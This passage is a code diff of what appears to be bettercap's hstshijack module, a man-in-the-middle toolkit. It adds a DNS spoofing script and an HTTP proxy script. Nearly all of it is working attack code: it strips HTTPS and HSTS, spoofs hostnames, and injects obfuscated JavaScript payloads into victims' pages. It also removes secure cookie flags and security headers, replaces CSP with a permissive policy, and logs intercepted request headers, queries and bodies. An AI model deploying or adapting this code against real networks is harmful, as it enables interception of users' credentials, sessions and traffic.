- } - } - } else { - logStr += red + "undefined" + reset + "\n"; - } - logStr += "\n"; - logStr += " " + bold + "Commands" + reset + "\n"; - logStr += "\n"; - logStr += " " + bold + " hstshijack.show" + reset + " : Show module info.\n"; - logStr += " " + bold + "hstshijack.ssl.domains" + reset + " : Show recorded domains with SSL.\n"; - logStr += " " + bold + " hstshijack.ssl.index" + reset + " : Show SSL domain index.\n"; - logStr += "\n"; - logStr += " " + bold + "Session info" + reset + "\n"; - logStr += "\n"; - logStr += " " + bold + " Session ID" + reset + " : " + session_id + "\n"; - logStr += " " + bold + " Callback path" + reset + " : " + callback_path + "\n"; - logStr += " " + bold + "Whitelist path" + reset + " : " + whitelist_path + "\n"; - logStr += " " + bold + "SSL index path" + reset + " : " + ssl_index_path + "\n"; - logStr += " " + bold + " SSL domains" + reset + " : " + ssl.domains.length + " domain" + (ssl.domains.length === 1 ? "" : "s") + "\n"; - console.log(logStr); -} - -function onCommand(cmd) { - if (cmd === "hstshijack.show") { - showConfig(); - return true; - } - if (cmd === "hstshijack.ssl.domains") { - if (ssl.domains.length > 20) { - truncated_domains = ssl.domains.slice(0, 20); - truncated_domains.push("..."); - log_string = truncated_domains.join(reset + "\n " + yellow); - console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + log_string + reset + "\n"); - } else { - console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + ssl.domains.join(reset + "\n " + yellow) + reset + "\n"); - } - return true; - } - if (cmd === "hstshijack.ssl.index") { - log_string = "\n" + bold + " SSL domain index" + reset + "\n"; - for (a = 0; a !== ssl.prefixes.length; a++) { - domain_prefix = ssl.prefixes[a]; - log_string += "\n " + yellow + domain_prefix + reset + " (length: " + ssl.index[domain_prefix].length + ")"; - } - console.log(log_string + "\n"); - return true; - } - if (cmd === "hstshijack.whitelist") { - console.log("\n" + JSON.stringify(whitelist, null, 2) + "\n"); - return true; - } -} - -function onLoad() { - math_seed = new Date().getMilliseconds(); - Math.random = function() { - r = Math.sin(math_seed++) * 10000; - return r - Math.floor(r); - } - String.prototype.startsWith = function(prefix) { - return this.slice(0, prefix.length) === prefix; - } - - log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ..."); - session_id = randomString(8 + Math.random() * 8); - varname_target_hosts = randomString(8 + Math.random() * 8); - varname_replacement_hosts = randomString(8 + Math.random() * 8); - callback_path = "/" + randomString(8 + Math.random() * 8); - whitelist_path = "/" + randomString(8 + Math.random() * 8); - ssl_index_path = "/" + randomString(8 + Math.random() * 8); - - log_info(on_blue + "hstshijack" + reset + " Reading caplet ..."); - configure(); - log_info(on_blue + "hstshijack" + reset + " Module loaded."); - showConfig(); -} - -function onRequest(req, res) { - if (req.Path === ssl_index_path) { - /* - SSL callback. - - Requests made for this path should include a hostname in the query so - this module can send a HEAD request to learn HTTPS redirects. - */ - log_debug(on_blue + "hstshijack" + reset + " SSL callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Query + reset + "."); - queried_host = req.Query; - if (getDomainIndex(queried_host) === -1) { - log_debug(on_blue + "hstshijack" + reset + " Learning unencrypted HTTP response from " + queried_host + " ..."); - req.Hostname = queried_host; - req.Path = "/"; - req.Query = ""; - req.Body = ""; - req.Method = "HEAD"; - } - } else if (req.Path === callback_path) { - /* - Basic callback. - - Requests made for this path will be dropped. - Requests made for this path will be printed. - */ - req.Scheme = "ignore"; - logStr = on_blue + "hstshijack" + reset + " Callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n"; - logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_grey + " " + reset + " \n"; - logStr += " " + on_grey + " " + reset + " " + bold + "Headers" + reset + "\n " + on_grey + " " + reset + " \n"; - headers = req.Headers.split("\r\n"); - for (i = 0; i < headers.length; i++) { - if (headers[i].split(": ").length === 2) { - params = headers[i].split(": "); - logStr += " " + on_grey + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n"; - } else { - logStr += " " + on_grey + " " + reset + " " + yellow + headers[i] + reset + "\n"; - } - } - logStr += " " + on_grey + " " + reset + " " + bold + "Query" + reset + "\n " + on_grey + " " + reset + " \n"; - queries = req.Query.split("&"); - for (i = 0; i < queries.length; i++) { - if (queries[i].split("=").length === 2) { - params = queries[i].split("="); - logStr += " " + on_grey + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n"; - } else { - logStr += " " + on_grey + " " + reset + " " + green + queries[i] + reset + "\n"; - } - } - logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + bold + "Body" + reset + "\n " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + yellow + req.ReadBody() + reset + "\n"; - log_info(logStr); - } else if (req.Path === whitelist_path) { - /* - Whitelisting callback. - - Requests made for this path will be dropped. - Requests made for this path will be printed. - Requests made for this path will stop all attacks towards this client with the requested hostname. - */ - req.Scheme = "ignore"; - logStr = on_blue + "hstshijack" + reset + " Whitelisting callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n"; - logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_white + " " + reset + " \n"; - logStr += " " + on_white + " " + reset + " " + bold + "Headers" + reset + "\n " + on_white + " " + reset + " \n"; - headers = req.Headers.split("\n"); - for (i = 0; i < headers.length; i++) { - if (headers[i].split(": ").length === 2) { - params = headers[i].split(": "); - logStr += " " + on_white + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n"; - } else { - logStr += " " + on_white + " " + reset + " " + yellow + headers[i] + reset + "\n"; - } - } - logStr += " " + on_white + " " + reset + " " + bold + "Query" + reset + "\n " + on_white + " " + reset + " \n"; - queries = req.Query.split("&"); - for (i = 0; i < queries.length; i++) { - if (queries[i].split("=").length === 2) { - params = queries[i].split("="); - logStr += " " + on_white + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n"; - } else { - logStr += " " + on_white + " " + reset + " " + green + queries[i] + reset + "\n"; - } - } - logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + bold + "Body" + reset + "\n " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + yellow + req.ReadBody() + reset + "\n"; - log_info(logStr); - - /* Add requested hostname to whitelist. */ - if (whitelist[req.Client.MAC]) { - if (whitelist[req.Client.MAC].indexOf(req.Hostname) === -1) { - whitelist[req.Client.MAC].push(req.Hostname); - } - } else { - whitelist[req.Client.MAC] = [req.Hostname]; - } - /* Also whitelist unspoofed version of requested hostname. */ - for (a = 0; a < target_hosts.length; a++) { - whole_regexp_set = toWholeRegexpSet(replacement_hosts[a], target_hosts[a]); - if (whole_regexp_set[0].test(req.Hostname)) { - whitelist[req.Client.MAC].push(req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1])); - break; - } - } - saveWhitelist(); - } else { - /* - Not a callback. - - Redirect client to the real host if a whitelist callback was received previously. - Restore spoofed hostnames and schemes in request. - */ - if (whitelist[req.Client.MAC]) { - for (a = 0; a < whitelist[req.Client.MAC].length; a++) { - whole_regexp_set = toWholeRegexpSet(whitelist[req.Client.MAC][a], ""); - if (whole_regexp_set[0].test(req.Hostname)) { - /* Restore requested hostname if it was spoofed. */ - var unspoofed_host; - for (b = 0; b < replacement_hosts.length; b++) { - whole_regexp_set = toWholeRegexpSet(replacement_hosts[b], target_hosts[b]); - if (whole_regexp_set[0].test(req.Hostname)) { - unspoofed_host = req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1]); - query = (req.Query !== "" ? ("?" + req.Query) : ""); - res.SetHeader("Location", "https://" + unspoofed_host + req.Path + query); - res.Status = 301; - log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.MAC + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelisting callback."); - return; - } - } - } - } - } - - /* Restore original hostnames. */ - for (a = 0; a < target_hosts.length; a++) { - /* Restore original hostnames in headers. */ - regexp_set = toRegexpSet(replacement_hosts[a], target_hosts[a]); - regexp_set[0].lastIndex = 0; - if (regexp_set[0].test(req.Headers)) { - req.Headers = req.Headers.replace(regexp_set[0], regexp_set[1]); - log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in request header(s)."); - } - - if (req.Query !== "") { - /* Restore original hostnames in query URI. */ - regexp_set[0].lastIndex = 0; - if (regexp_set[0].test(req.Query)) { - req.Query = req.Query.replace(regexp_set[0], regexp_set[1]); - log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in query URI."); - } - - /* Restore original hostnames in encoded query URI parameters. */ - query_params = req.Query.split("&"); - new_params = []; - for (b = 0; b < query_params.length; b++) { - param = query_params[b]; - param_parts = param.match(selector_query_param); - if (param_parts) { - param_name = param_parts[1]; - param_value = param_parts[2]; - if (param_value.indexOf("%") !== -1) { - param_value_decoded = decodeURIComponent(param_value); - if (param_value !== param_value_decoded) { - regexp_set[0].lastIndex = 0; - if (regexp_set[0].test(param_value_decoded)) { - param_value_decoded_spoofed = param_value_decoded.replace( - regexp_set[0], - regexp_set[1]); - new_params.push( - param_name + "=" + encodeURIComponent(param_value_decoded_spoofed)); - } else { - new_params.push(param); - } - } else { - new_params.push(param); - } - } else { - regexp_set[0].lastIndex = 0; - if (regexp_set[0].test(param_value)) { - param_value_spoofed = param_value.replace(regexp_set[0], regexp_set[1]); - new_params.push(param_name + "=" + param_value_spoofed); - } else { - new_params.push(param); - } - } - } else { - new_params.push(param); - } - } - new_query_string = new_params.join("&"); - if (new_query_string !== req.Query) { - req.Query = new_query_string; - } - } - - /* Restore original hostname of request. */ - whole_regexp_set = toWholeRegexpSet(replacement_hosts[a], target_hosts[a]) - if (whole_regexp_set[0].test(req.Hostname)) { - spoofed_host = req.Hostname; - req.Hostname = req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1]); - req.Scheme = "https"; - log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + spoofed_host + reset + " to " + req.Hostname + " and restored HTTPS scheme."); - } - } - - /* Restore HTTPS scheme. */ - if (getDomainIndex(req.Hostname) !== -1) { - /* Restore HTTPS scheme of request if domain is indexed. */ - if (req.Scheme !== "https") { - req.Scheme = "https"; - log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + bold + req.Hostname + reset + "."); - } - /* Restore HTTPS scheme in request headers if domains are indexed. */ - escaped_domain = req.Hostname.replace(selector_all_dots, "\\.").replace(selector_all_dashes, "\\-"); - regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9\\-\\.]|$)", "ig"); - regexp.lastIndex = 0; - if (regexp.test(req.Headers)) { - req.Headers = req.Headers.replace(regexp, "https://" + req.Hostname + "$1"); - log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers."); - } - } else { /* If requested domain is not indexed. */ - log_debug(on_blue + "hstshijack" + reset + " Domain " + bold + req.Hostname + reset + " is not indexed."); - if (req.Scheme !== "https") { - for (b = 0; b < target_hosts; b++) { - /* Restore HTTPS scheme of request if domain is targeted. */ - whole_regexp_set = toWholeRegexpSet(target_hosts[b], ""); - if (whole_regexp_set[0].test(req.Hostname)) { - req.Scheme = "https"; - log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of targeted domain " + bold + req.Hostname + reset + "."); - break; - } - /* Restore HTTPS scheme in request headers if domains are targeted. */ - regexp_set = toRegexpSet(target_hosts[b], ""); - matches = req.Headers.match(regexp_set[0]); - for (c = 0; c < matches.length; c++) { - escaped_domain = matches[c].replace(selector_all_dots, "\\.").replace(selector_all_dashes, "\\-"); - regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9\\-\\.]|$)", "ig"); - req.Headers = req.Headers.replace(regexp, "https://" + matches[c] + "$1"); - log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers."); - } - } - } - } - } -} - -function onResponse(req, res) { - res.ReadBody(); - - /* Remember HTTPS redirects. */ - location = res.GetHeader("Location", ""); - if (selector_uri_one.test(location)) { - host = location.replace(selector_uri_two, "$1"); - if (host !== "") { - indexDomain(host); - } - } - - /* Ignore this response if whitelisted. */ - if (whitelist[req.Client.MAC]) { - if (whitelist[req.Client.MAC].indexOf(req.Hostname) !== -1) { - log_debug(on_blue + "hstshijack" + reset + " Ignoring response from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset + "."); - return; - } - } else { - for (a = 0; a < ignore_hosts.length; a++) { - var whole_regexp_set; - if (ignore_hosts[a] !== "*") { - whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], ""); - } - - if ( - ignore_hosts[a] === "*" - || whole_regexp_set[0].test(req.Hostname) - ) { - log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + "."); - return; - } - } - - /* Spoof markup bodies. */ - if ( - selector_content_type_html.test(res.ContentType) - || selector_extension_html.test(req.Path) - ) { - /* Prevent meta tag induced CSP restrictions. */ - res.Body = res.Body.replace( - selector_meta_tag_csp, - "$1"); - - /* Block scripts. */ - for (a = 0; a < block_script_hosts.length; a++) { - if ( - block_script_hosts[a] === "*" - || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname) - ) { - res.Body = res.Body.replace(selector_html_script_open_tag, "
\n" + - payload_container_prefix + injection + payload_container_suffix + - "\n" + - res.Body; - } - log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset); - } - } - - /* Spoof JavaScript bodies. */ - if (selector_content_type_js.test(res.ContentType)) { - /* Block scripts. */ - for (a = 0; a < block_script_hosts.length; a++) { - if ( - block_script_hosts[a] === "*" - || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname) - ) { - res.Body = ""; - log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + "."); - break; - } - } - - /* Inject payloads. */ - injection = ""; - for (a = 0; a < Object.keys(payloads).length; a++) { - injecting_host = Object.keys(payloads)[a]; - if ( - injecting_host === "*" - || toWholeRegexpSet(injecting_host, "")[0].test(req.Hostname) - ) { - injection = injection + payloads[injecting_host]; - } - } - if (injection !== "") { - res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body; - log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset); - } - } - - /* Strip SSL from location headers. */ - res.Headers = res.Headers - .replace(selector_scheme_http_https_colon, "$1:") - .replace(selector_port_https, "$1"); - - /* Spoof hosts in headers. */ - for (a = 0; a < target_hosts.length; a++) { - regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]); - res.Headers = res.Headers.replace(regexp_set[0], regexp_set[1]); - } - - /* Remove secure cookie settings. */ - new_headers = ""; - res.Headers.split("\r\n").forEach(function(headerString){ - if (headerString !== "") { - matches = headerString.match(selector_header); - if (matches.length >= 3) { - header_name = matches[1]; - header_value = matches[2]; - if (selector_header_set_cookie.test(header_name)) { - new_header_value = ""; - cookie_params = header_value.split(";"); - cookie_params.forEach(function(cookie_param){ - if (cookie_param !== "") { - stripped_cookie_param = cookie_param.match(selector_strip_whitespace)[1]; - if (!selector_header_set_cookie_secure_samesite.test(stripped_cookie_param)) { - if (new_header_value === "") { - new_header_value = stripped_cookie_param; - } else { - new_header_value += "; " + stripped_cookie_param; - } - } - } - }); - new_headers += header_name + ": " + new_header_value + "\r\n"; - } else { - new_headers += header_name + ": " + header_value + "\r\n"; - } - } - } - }); - - /* Remove security headers. */ - res.Headers = res.Headers.replace(selector_header_csp, ""); - res.RemoveHeader("Strict-Transport-Security"); - res.RemoveHeader("Content-Security-Policy-Report-Only"); - res.RemoveHeader("Public-Key-Pins"); - res.RemoveHeader("Public-Key-Pins-Report-Only"); - res.RemoveHeader("X-Frame-Options"); - res.RemoveHeader("X-Content-Type-Options"); - res.RemoveHeader("X-Download-Options"); - res.RemoveHeader("X-Permitted-Cross-Domain-Policies"); - res.RemoveHeader("X-XSS-Protection"); - res.RemoveHeader("Expect-Ct"); - - /* Set insecure headers. */ - allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*"); - if (allowed_origin !== "*") { - for (a = 0; a < target_hosts.length; a++) { - regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]); - regexp_set[0].lastIndex = 0; - if (regexp_set[0].test(allowed_origin)) { - allowed_origin = allowed_origin.replace(regexp_set[0], regexp_set[1]); - break; - } - } - } - res.SetHeader("Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x"); - res.SetHeader("X-WebKit-CSP", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x"); - res.SetHeader("X-Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x"); - res.SetHeader("Access-Control-Allow-Credentials", "true"); - res.SetHeader("Access-Control-Allow-Origin", allowed_origin); - res.SetHeader("Access-Control-Allow-Methods", "*"); - res.SetHeader("Access-Control-Allow-Headers", "*"); - res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate"); - res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT"); - res.SetHeader("Pragma", "no-cache"); - } -} diff --git a/hstshijack/modules/dns.proxy.js b/hstshijack/modules/dns.proxy.js new file mode 100644 index 0000000..4a190bd --- /dev/null +++ b/hstshijack/modules/dns.proxy.js @@ -0,0 +1,66 @@ +var addr = env("iface.ipv4"); + +var hostnames = []; + +var Rrtype = { + None: 0, + A: 1, +// CNAME: 5, + AAAA: 28, +}; + +String.prototype.endsWith = function(suffix) { + return this.slice(-1 * suffix.length) === suffix; +}; + +String.prototype.isTargeted = function() { + var target = this.toLowerCase(); + for (a = 0; a < hostnames.length; a++) { + var hostname = hostnames[a]; + if (hostname[0] === "*") { + var suffix = hostname.slice(1); + if (target.endsWith(suffix + ".")) return true; + if (target.endsWith(suffix)) return true; + } else { + if (target === hostname + ".") return true; + if (target === hostname) return true; + } + } + return false; +}; + +function onRequest(req, res) { + // Respond to A queries + req.Questions.forEach(function(question) { + if (question.Qtype === Rrtype.A) { + if (question.Name.isTargeted()) { + res.Header.Response = true; + res.Header.RecursionAvailable = true; + res.Answers = res.Answers.concat({ + A: addr, + Header: { + Class: question.Qclass, + Name: question.Name, + Rrtype: question.Qtype, + Ttl: 1, + }, + }); + } + } + }); + // Drop AAAA queries + req.Questions = req.Questions.filter(function(question) { + return question.Qtype !== Rrtype.AAAA; + }); + if (res.Header.Response === true && res.Answers.length === 0) { + res.Header.Rrtype = Rrtype.None; + // Silence DNS errors + res.Extras = []; + res.Nameserver = []; + } +} + +function onLoad() { + hostnames = env["hstshijack.replacements"].replace(/\s/g, "").toLowerCase().split(","); +} + diff --git a/hstshijack/modules/http.proxy.js b/hstshijack/modules/http.proxy.js new file mode 100644 index 0000000..d1859f5 --- /dev/null +++ b/hstshijack/modules/http.proxy.js @@ -0,0 +1,1568 @@ +/** + * Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack + */ + +var ssl = { + /* Prefix string mapped array of indexed domains. */ + index: {}, + /* Unicode hierarchy for domain names. */ + hierarchy: "-.0123456789abcdefghijklmnopqrstuvwxyz", + /* Prefix hierarchy for domain names. */ + prefixes: ["www.","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"], +}; + +var payload, + payload_container_prefix = + "if (!globalThis.{{SESSION_ID_TAG}}) {\n" + + "globalThis.{{SESSION_ID_TAG}} = function() {\n", + payload_container_suffix = + "\n}\n" + + "globalThis.{{SESSION_ID_TAG}}();\n" + + "}\n"; + +var ignore_hosts = [], + target_hosts = [], + replacement_hosts = [], + block_script_hosts = [], + rx_sets_global_target_hosts = [], // host.com->nothost.com + rx_sets_global_replacement_hosts = [], // nothost.com->host.com + rx_sets_global_target_http_origins = [], // http://host.com->https://host.com + rx_sets_whole_target_hosts = [], // ^host.com$->^nothost.com$ + rx_sets_whole_replacement_hosts = []; // ^nothost.com$->^host.com$ + +var payloads = {}, + obfuscate; + +var replacements_req_body, + replacements_req_headers, + replacements_req_url_path, + replacements_req_url_port, + replacements_req_url_query, + replacements_res_body, + replacements_res_headers, + rx_target_hosts_replacements_req_body = [], + rx_target_hosts_replacements_req_headers = [], + rx_target_hosts_replacements_req_url_path = [], + rx_target_hosts_replacements_req_url_port = [], + rx_target_hosts_replacements_req_url_query = [], + rx_target_hosts_replacements_res_body_html = [], + rx_target_hosts_replacements_res_body_javascript = [], + rx_target_hosts_replacements_res_body_json = [], + rx_target_hosts_replacements_res_headers = []; + +var callback_path, + whitelist_path, + ssl_index_path, + session_id, + varname_target_hosts, + varname_replacement_hosts; + +var cookie_host_prefix, + cookie_secure_prefix, + rx_global_cookie_host_prefix, + rx_global_cookie_secure_prefix, + downgrade_cookies; + +var ssl_discovery_delay, + ssl_discovery_synchronous; + +var math_seed; + +var whitelist = {}; + +var rx_header_csp = /(?:x-webkit-csp|(?:x-)?content-security-policy)\s{0,100}:.*?\r\n/ig, + rx_header_cspro = /content-security-policy-report-only\s{0,100}:.*?\r\n/ig, + rx_header_corp = /cross-origin-resource-policy\s{0,100}:.*?\r\n/ig, + rx_content_type_html = /text[/](?:html|xml)|application[/](?:hta|xhtml[+]xml|xml)/i, + rx_content_type_js = /\S+\/javascript/i, + rx_content_type_json = /\S+\/json/i, + rx_doctype_html = //i, + rx_extension_html = /\.(?:html|htm|xml|xhtml|xhtm|xht|hta)$/i, + rx_extension_js = /\.(?:[m]?js|js[x]?)$/i, + rx_extension_json = /\.(?:json|map)$/i, + rx_uri_one = /^https:\/\/[a-z0-9]/i, + rx_uri_two = /^https:\/\/([^:/?#]+).*$/i, + rx_http_origin = /^(http:\/\/[a-z0-9-.]+).*/i, + rx_html_magic = /^\s{0,100})/ig, + rx_html_script_close_tag = /<\/script(\s|>)/ig, + rx_all_dashes = /-/g, + rx_all_dots = /\./g, + rx_scheme_http_https_colon = /(http)s:/ig, + rx_semicolon_separator = /\s{0,100};\s{0,100}/, + rx_port_https = /:443($|[^0-9])/g, + rx_regset_wildcard_one = /^\*\./, + rx_regset_wildcard_two = /\.\*$/, + rx_regset_wildcard_three = /\.\*$/g, + rx_regset_wildcard_four = /\.\*/g, + rx_query_param = /^([^=]*)=(.*)$/, + rx_cookie_host_prefix = /^__Host-/ig, + rx_cookie_secure_prefix = /^__Secure-/ig; + +var red = "\x1b[31m", + yellow = "\x1b[33m", + green = "\x1b[32m", +/* lion stronger than machine */ + blue = "\x1b[34m", + on_white = "\x1b[47;30m", + on_grey = "\x1b[40;37m", + on_blue = "\x1b[104;30m", + bold = "\x1b[1;37m", + reset = "\x1b[0m"; + +/** + * @param {Object} cookie - Cookie object. + * @returns {String} header_value + */ +function cookieToResponseHeaderValue(cookie) { + if (typeof cookie.name !== "string" || cookie.name === "") { + log_error("error converting cookie to string: cookie has no name."); + return ""; + } + var cookie_string = ""; + if (typeof cookie.value === "string") + cookie_string = cookie.name + "=" + cookie.value + else return ""; + if (typeof cookie.domain === "string" && cookie.domain !== "") + cookie_string += "; Domain=" + cookie.domain; + if (typeof cookie.path === "string" && cookie.path !== "") + cookie_string += "; Path=" + cookie.path; + if (typeof cookie.expires === "string" && cookie.expires !== "") + cookie_string += "; Expires=" + cookie.expires; + if (typeof cookie.maxAge === "string" && cookie.maxAge !== "") + cookie_string += "; Max-Age=" + cookie.maxAge; + if (typeof cookie.priority === "string" && cookie.priority !== "") + cookie_string += "; Priority=" + cookie.priority; + if (typeof cookie.sameSite === "string" && cookie.sameSite !== "") + cookie_string += "; SameSite=" + cookie.sameSite; + if (cookie.secure === true) cookie_string += "; Secure"; + if (cookie.httpOnly === true) cookie_string += "; HttpOnly"; + if (cookie.partitioned === true) cookie_string += "; Partitioned"; + return cookie_string; +} + +/** + * @param {String} cookie_string - Cookie string (Set-Cookie header value). + * @returns {Object} cookie + */ +function parseCookie(cookie_string) { + var cookie_attrs = cookie_string.split(rx_semicolon_separator); + if (cookie_attrs.length === 0) return null; + var cookie = { + name: "", + value: "", + domain: "", + path: "", + expires: "", + maxAge: "", + priority: "", + sameSite: "", + secure: false, + httpOnly: false, + partitioned: false, + }; + cookie_attrs.forEach(function(attr, a) { + var separator_index = attr.indexOf('='); + var parts; + if (separator_index !== -1) + parts = [attr.slice(0, separator_index), attr.slice(separator_index + 1)] + else parts = [attr]; + if (a === 0) { + cookie.name = parts[0]; + if (parts.length === 2) cookie.value = parts[1]; + } else { + switch (parts[0].toLowerCase()) { + case "domain": + if (parts.length === 2) cookie.domain = parts[1].toLowerCase(); + break; + case "path": + if (parts.length === 2) cookie.path = parts[1]; + break; + case "expires": + if (parts.length === 2) cookie.expires = parts[1]; + break; + case "max-age": + if (parts.length === 2) { + var max_age = parseInt(parts[1]); + if (max_age !== NaN) cookie.maxAge = max_age.toString(); + } + break; + case "priority": + if (parts.length === 2) cookie.priority = parts[1]; + break; + case "samesite": + if (parts.length === 2) cookie.sameSite = parts[1]; + break; + case "secure": + cookie.secure = true; + break; + case "httponly": + cookie.httpOnly = true; + break; + case "partitioned": + cookie.partitioned = true; + break; + default: + log_error("ignored an unexpected cookie attribute:", cookie_string); + break; + } + } + }); + if (cookie.name !== "") return cookie; + log_error("cookie has no name:", cookie_string); + return null; +} + +function randomString(length) { + length = parseInt(length); + var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", + buff = new Array(length); + for (var a = 0; a < buff.length; a++) { + index = parseInt(Math.random() * chars.length); + buff[a] = chars.charAt(index); + } + return buff.join(""); +} + +function toRegexp(selector_string, replacement_string) { + return [ + new RegExp("(^|[^a-z0-9-.])" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"), + "$1" + replacement_string + "$2" + ]; +} + +function toHttpOriginRegexp(selector_string, replacement_string) { + return [ + new RegExp("http://" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"), + "https://" + replacement_string + "$2" + ]; +} + +function toWholeRegexp(selector_string, replacement_string) { + return [ + new RegExp("^" + selector_string.replace(rx_all_dots, "\\.") + "$", "ig"), + replacement_string + ]; +} + +function toWildcardRegexp(selector_string, replacement_string) { + selector_string = selector_string.replace(rx_all_dashes, "\\-"); + if (rx_regset_wildcard_one.test(selector_string)) { + selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"); + selector_string = selector_string.replace(rx_all_dots, "\\."); + selector_string = selector_string + "([^a-z0-9-.]|$)"; + replacement_string = replacement_string.replace(rx_regset_wildcard_one, ""); + return [ + new RegExp(selector_string, "ig"), + "$1" + replacement_string + "$2" + ]; + } else if (rx_regset_wildcard_two.test(selector_string)) { + selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"); + selector_string = selector_string.replace(rx_all_dots, "\\."); + selector_string = "(^|[^a-z0-9-.])" + selector_string; + replacement_string = replacement_string.replace(rx_regset_wildcard_two, ""); + return [ + new RegExp(selector_string, "ig"), + "$1" + replacement_string + "$2" + ]; + } else { + log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ")."); + } +} + +function toWildcardHttpOriginRegexp(selector_string, replacement_string) { + selector_string = selector_string.replace(rx_all_dashes, "\\-"); + if (rx_regset_wildcard_one.test(selector_string)) { + selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"); + selector_string = selector_string.replace(rx_all_dots, "\\."); + selector_string = "http://" + selector_string + "([^a-z0-9-.]|$)"; + replacement_string = replacement_string.replace(rx_regset_wildcard_one, ""); + return [ + new RegExp(selector_string, "ig"), + "https://$1" + replacement_string + "$2" + ]; + } else if 